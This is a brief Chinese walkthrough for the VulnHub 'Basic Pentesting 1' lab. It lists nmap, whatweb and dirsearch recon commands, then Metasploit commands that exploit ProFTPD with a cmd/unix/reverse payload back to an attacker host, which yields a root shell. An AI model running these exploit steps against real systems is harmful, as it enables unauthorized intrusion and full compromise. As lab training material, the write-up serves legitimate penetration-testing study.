一、靶机下载地址
https://www.vulnhub.com/entry/basic-pentesting-1,216/#download
二、信息收集
1、主机发现
# 使用命令
nmap 192.168.145.0/24 -sn | grep -B 2 '00:0C:29:16:3A:EA'
2、指纹识别
# 使用命令
whatweb 192.168.145.187
3、端口扫描
# 使用命令
nmap 192.168.145.187 -p- -sV
4、目录扫描
# 使用命令
dirsearch -u "http://192.168.145.187"
三、获取shell和提权
1、访问靶机IP地址
2、 kali使用msfconsole
查找漏洞
# 使用命令
msfconsole
search ProFTPD
3、 可以看到第五个是符合版本的(之前扫描端口的版本),使用并查看配置信息
4、设置配合信息并运行,成功获取到shell,并且已经是root权限
# 使用命令
set rhosts 192.168.145.187 #设置靶机IP地址
set payload cmd/unix/reverse # 设置payload
set lhost 192.168.145.146 # 设置监听的机器
run # 运行